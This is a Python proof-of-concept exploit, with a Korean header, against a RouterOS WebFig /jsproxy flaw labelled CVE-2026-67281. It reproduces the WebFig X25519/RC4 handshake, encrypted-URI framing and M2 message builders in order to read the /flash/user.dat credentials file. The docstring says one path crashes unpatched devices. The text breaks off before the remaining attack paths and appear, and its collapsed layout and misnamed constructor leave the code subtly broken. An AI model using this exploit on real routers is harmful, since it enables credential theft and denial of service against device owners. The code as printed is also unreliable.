CVE-2026-67281용 Python PoC: 암호화된 URI GET, M2 메시지 POST, 정적 경로 탐색을 통해 RouterOS WebFig /jsproxy를 악용하여 /flash/user.dat를 읽습니다.
#!/usr/bin/env python3
""" CVE-2026-67281 — RouterOS WebFig /jsproxy 파일 읽기 변형.
세 가지 독립적인 코드 경로를 통해 /flash/user.dat 읽기를 시도합니다:
경로 A — 암호화된 URI GET (GET /jsproxy/?) 복호화 + 인증 후 nv::findFile에 도달합니다. 패치되지 않은 7.21.5에서는 세션 list_head 버그로 인해 크래시가 발생하며, MikroTik이 DoS를 패치한 후 작동할 것으로 예상됩니다.
경로 B — M2 메시지 POST (M2 본문으로 POST /jsproxy) nv::Handler::handle → checkAccess → is_allowed를 사용합니다. 크래시가 발생하는 복호화 경로를 거치지 않습니다. 올바른 cmd 네임스페이스가 필요하며, 이 스크립트가 이를 열거합니다.
경로 C — 직접 정적 GET (GET /webfig/) /home/web/에서 정적 파일을 제공합니다. 서빙 루트에 대한 기본적인 트래버설 프로브를 포함합니다.
각 경로는 독립적입니다. 스크립트는 순서대로 실행하고 크래시 후 재시도 없이 어떤 경로가 성공했는지 보고합니다.
승인된 랩 환경에서만 사용하십시오. """
import hashlib import secrets import struct import sys import time
import requests from cryptography.hazmat.primitives.asymmetric.x25519 import ( X25519PrivateKey, X25519PublicKey) from cryptography.hazmat.primitives.serialization import ( Encoding, PublicFormat)
MAGIC_SEND = (b"On the client side, this is the send key; " b"on the server side, it is the receive key.") MAGIC_RECV = (b"On the client side, this is the receive key; " b"on the server side, it is the send key.")
SAFE = set(b"ABCDEFGHIJKLMNOPQRSTUVWXYZ" b"abcdefghijklmnopqrstuvwxyz" b"0123456789-_.~")
FT_BOOL, FT_U32, FT_STRING, FT_RAW, FT_U32_ARRAY =
0 << 27, 1 << 27, 4 << 27, 6 << 27, 17 << 27
FS_SHORT, FS_LONG = 1 << 24, 1 << 25
class RC4: def init(self): self.S = list(range(256)) self.i = self.j = 0
def set_key(self, key: bytes) -> None:
if not key:
raise ValueError("empty RC4 key")
self.S = list(range(256))
self.i = self.j = 0
j = 0
for i in range(256):
j = (j + self.S[i] + key[i % len(key)]) & 0xff
self.S[i], self.S[j] = self.S[j], self.S[i]
for _ in range(768):
self.gen()
def gen(self) -> int:
self.i = (self.i + 1) & 0xff
self.j = (self.j + self.S[self.i]) & 0xff
self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
return self.S[(self.S[self.i] + self.S[self.j]) & 0xff]
def crypt(self, data: bytes) -> bytes:
return bytes(v ^ self.gen() for v in data)
def webfig_kdf(master: bytes, is_send: bool, is_server: bool) -> bytes: v = bytearray(master) v.extend(b"\x00" * 40) v.extend(MAGIC_RECV if is_send == is_server else MAGIC_SEND) v.extend(b"\xf2" * 40) return hashlib.sha1(v).digest()[:16]
def client_public(priv_raw: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.public_key().public_bytes( Encoding.Raw, PublicFormat.Raw)[::-1]
def shared_secret(priv_raw: bytes, srv_pub: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.exchange( X25519PublicKey.from_public_bytes(srv_pub[::-1]))[::-1]
def encode_uri_component(data: bytes) -> str: out = [] for b in data: if b in SAFE: out.append(chr(b)) elif b < 0x80: out.append(f"%{b:02X}") elif b < 0xC0: out.append(f"%C2%{b:02X}") else: out.append(f"%C3%{(b - 0x40):02X}") return "".join(out)
def handshake(base: str, http: requests.Session, timeout=10.0): priv = secrets.token_bytes(32) pub = client_public(priv) r = http.post( base + "/jsproxy", data=b"\x00" * 8 + pub, headers={"Content-Type": "msg", "Accept-Language": "", "Connection": "close"}, timeout=timeout) if r.status_code != 200 or len(r.content) != 40: raise RuntimeError(f"handshake HTTP {r.status_code} len={len(r.content)}") sid = struct.unpack(">I", r.content[:4])[0] master = shared_secret(priv, r.content[8:40]) tx = RC4(); tx.set_key(webfig_kdf(master, True, False)) rx = RC4(); rx.set_key(webfig_kdf(master, False, False)) return sid, tx, rx
def path_a_encrypted_get(base, http, uri, timeout=10.0): """ GET /jsproxy/?. On unpatched targets, this crashes www. On patched targets, one of these URIs will return the file. """ result = {"path": "A_encrypted_get", "uri": uri, "status": None, "body": b"", "crashed": False, "error": None}
try:
sid, tx, _ = handshake(base, http)
except Exception as e:
result["error"] = f"handshake: {e!r}"
return result
pt = uri.encode("utf-8")
seq = 1
enc = tx.crypt(pt)
pad = tx.crypt(b" " * 8)
frame = struct.pack(">I", sid) + struct.pack(">I", seq) + enc + pad
url = base + "/jsproxy/?" + encode_uri_component(frame)
try:
r = http.get(url, timeout=timeout)
result["status"] = r.status_code
result["body"] = r.content
except requests.exceptions.ConnectionError as e:
result["crashed"] = True
result["error"] = repr(e)
except requests.RequestException as e:
result["error"] = repr(e)
return result
def _field_id(idtype: int, name: str) -> bytes: n = int(name[1:], 16) return bytes((n & 0xff, (n >> 8) & 0xff, (n >> 16) & 0xff, (idtype >> 24) & 0xff))
def _u32_short(name, value): return _field_id(FT_U32 | FS_SHORT, name) + bytes((value & 0xff,))
def _u32_long(name, value): return _field_id(FT_U32, name) + struct.pack("<I", value & 0xffffffff)
def _u32arr(name, values): out = _field_id(FT_U32_ARRAY, name) + struct.pack("<H", len(values)) for v in values: out += struct.pack("<I", v) return out
def _str(name, s):
raw = s.encode("utf-8")
if len(raw) < 256:
return _field_id(FT_STRING | FS_SHORT, name) +
bytes((len(raw),)) + raw
return _field_id(FT_STRING, name) + struct.pack("<H", len(raw)) + raw
def _bool(name): return _field_id(FT_BOOL | FS_SHORT, name)
def build_m2(handler_pair, cmd, req_id, path=None, action=None):
"""
최소한의 M2 메시지를 생성합니다. handler_pair와 cmd는 호출자가
열거할 수 있도록 매개변수로 받습니다. path는 s1 문자열 필드가 되고,
action(주어진 경우)은 전체 u32로 uff000b에 기록됩니다.
"""
out = bytearray(b"M2")
out += _u32arr("Uff0001", list(handler_pair))
out += _u32_long("uff0007", cmd)
out += _u32_short("uff0006", req_id)
out += _bool("bff0005")
if path is not None:
out += _str("s1", path)
if action is not None:
out += _u32_long("uff000b", action)
return bytes(out)
def _encrypt_m2(sid, seq, tx, pt): enc = tx.crypt(pt) pad = tx.crypt(b" " * 8) return struct.pack(">I", sid) + struct.pack(">I", seq) + enc + pad